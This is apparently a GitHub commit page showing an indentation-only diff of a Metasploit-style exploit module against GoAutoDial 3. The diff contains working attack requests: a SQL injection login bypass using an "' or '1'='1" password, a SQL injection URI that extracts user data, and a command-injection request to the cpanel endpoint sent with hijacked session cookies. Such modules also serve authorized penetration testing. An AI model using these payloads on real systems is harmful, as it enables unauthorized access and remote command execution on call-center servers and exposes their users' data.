Skip to content

Commit dd530a2

Browse files
committed
Minor indentation tweaks.
1 parent 8c23769 commit dd530a2

File tree

1 file changed

+17
-22
lines changed

1 file changed

+17
-22
lines changed

modules/exploits/linux/http/goautodial_3_rce_command_injection.rb

Lines changed: 17 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -54,12 +54,12 @@ def check_version()
5454
uri = target_uri.path
5555

5656
send_request_cgi({
57-
'method' => 'GET',
58-
'uri' => normalize_uri(uri, 'changelog.txt'),
59-
'headers' => {
60-
'User-Agent' => 'Mozilla/5.0',
61-
'Accept-Encoding' => 'identity'
62-
}
57+
'method' => 'GET',
58+
'uri' => normalize_uri(uri, 'changelog.txt'),
59+
'headers' => {
60+
'User-Agent' => 'Mozilla/5.0',
61+
'Accept-Encoding' => 'identity'
62+
}
6363
})
6464
end
6565

@@ -69,16 +69,14 @@ def sqli_auth_bypass()
6969
send_request_cgi({
7070
'method' => 'POST',
7171
'uri' => normalize_uri(uri, 'index.php', 'go_login', 'validate_credentials'),
72-
'headers' =>
73-
{
72+
'headers' => {
7473
'User-Agent' => 'Mozilla/5.0',
7574
'Accept-Encoding' => 'identity'
76-
},
77-
'vars_post' =>
78-
{
75+
},
76+
'vars_post' => {
7977
'user_name' => 'admin',
8078
'user_pass' => '\'%20or%20\'1\'%3D\'1'
81-
}
79+
}
8280
})
8381
end
8482

@@ -88,13 +86,12 @@ def sqli_admin_pass(cookies)
8886
send_request_cgi({
8987
'method' => 'GET',
9088
'uri' => normalize_uri(uri, 'index.php', 'go_site', 'go_get_user_info', '\'%20OR%20active=\'Y'),
91-
'headers' =>
92-
{
89+
'headers' => {
9390
'User-Agent' => 'Mozilla/5.0',
9491
'Accept-Encoding' => 'identity',
9592
'Cookie' => cookies
96-
}
97-
})
93+
}
94+
})
9895
end
9996

10097
#
@@ -110,13 +107,11 @@ def execute_command()
110107
'method' => 'GET',
111108
'uri' => normalize_uri(uri, 'index.php', 'go_site', 'cpanel', params),
112109
'headers' => {
113-
'User-Agent' => 'Mozilla/5.0',
114-
'Accept-Encoding' => 'identity',
115-
'Cookie' => @cookie
116-
110+
'User-Agent' => 'Mozilla/5.0',
111+
'Accept-Encoding' => 'identity',
112+
'Cookie' => @cookie
117113
}
118-
})
119-
114+
})
120115
end
121116

122117

0 commit comments

Comments
 (0)